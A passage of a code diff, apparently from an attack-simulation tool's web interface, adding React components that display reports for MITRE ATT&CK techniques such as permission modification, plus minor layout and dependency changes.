data={data}
|
||||
|
@ -68,7 +70,6 @@ class T1210 extends React.Component {
|
|||
return (
|
||||
<div>
|
||||
<br/>
|
||||
<div>Exploited services: </div>
|
||||
<ReactTable
|
||||
columns={T1210.getExploitColumns()}
|
||||
data={data}
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachine, ScanStatus } from "./Helpers"
|
||||
|
||||
|
||||
class T1222 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static getCommandColumns() {
|
||||
return ([{
|
||||
Header: "Permission modification commands",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }},
|
||||
]
|
||||
}])};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status === ScanStatus.USED ?
|
||||
<ReactTable
|
||||
columns={T1222.getCommandColumns()}
|
||||
data={this.props.data.commands}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.commands.length}
|
||||
/> : ""}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1222;
|
|
@ -496,7 +496,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
}
|
||||
|
||||
return (
|
||||
<Col xs={12} lg={8}>
|
||||
<Col xs={12} lg={10}>
|
||||
{this.renderAttackAlertModal()}
|
||||
<h1 className="page-title">Monkey Configuration</h1>
|
||||
{this.renderNav()}
|
||||
|
|
|
@ -15,8 +15,19 @@ import T1059 from "../../attack/techniques/T1059";
|
|||
import T1086 from "../../attack/techniques/T1086";
|
||||
import T1082 from "../../attack/techniques/T1082";
|
||||
import T1145 from "../../attack/techniques/T1145";
|
||||
import T1105 from "../../attack/techniques/T1105";
|
||||
import T1107 from "../../attack/techniques/T1107";
|
||||
import T1065 from "../../attack/techniques/T1065";
|
||||
import T1035 from "../../attack/techniques/T1035";
|
||||
import T1129 from "../../attack/techniques/T1129";
|
||||
import T1106 from "../../attack/techniques/T1106";
|
||||
import T1188 from "../../attack/techniques/T1188";
|
||||
import T1090 from "../../attack/techniques/T1090";
|
||||
import T1041 from "../../attack/techniques/T1041";
|
||||
import T1222 from "../../attack/techniques/T1222";
|
||||
import T1005 from "../../attack/techniques/T1005";
|
||||
import T1018 from "../../attack/techniques/T1018";
|
||||
import T1016 from "../../attack/techniques/T1016";
|
||||
import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus";
|
||||
|
||||
const tech_components = {
|
||||
|
@ -29,8 +40,19 @@ const tech_components = {
|
|||
'T1086': T1086,
|
||||
'T1082': T1082,
|
||||
'T1145': T1145,
|
||||
'T1065': T1065,
|
||||
'T1105': T1105,
|
||||
'T1035': T1035,
|
||||
'T1129': T1129,
|
||||
'T1106': T1106,
|
||||
'T1107': T1107,
|
||||
'T1065': T1065
|
||||
'T1188': T1188,
|
||||
'T1090': T1090,
|
||||
'T1041': T1041,
|
||||
'T1222': T1222,
|
||||
'T1005': T1005,
|
||||
'T1018': T1018,
|
||||
'T1016': T1016
|
||||
};
|
||||
|
||||
const classNames = require('classnames');
|
||||
|
@ -143,7 +165,7 @@ class AttackReportPageComponent extends AuthComponent {
|
|||
return (
|
||||
<div>
|
||||
{this.renderLegend()}
|
||||
<section className="app">{content}</section>
|
||||
<section className="attack-report">{content}</section>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
|
|
@ -525,6 +525,14 @@ body {
|
|||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.attack-matrix {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.attack-report .btn-collapse span:nth-of-type(2){
|
||||
flex: 0;
|
||||
}
|
||||
|
||||
.icon-info {
|
||||
color: #ade3eb !important;
|
||||
}
|
||||
|
|
|
@ -25,3 +25,4 @@ wheel
|
|||
mongoengine
|
||||
mongomock
|
||||
requests
|
||||
dpath
|
||||
|
|
Loading…
Reference in New Issue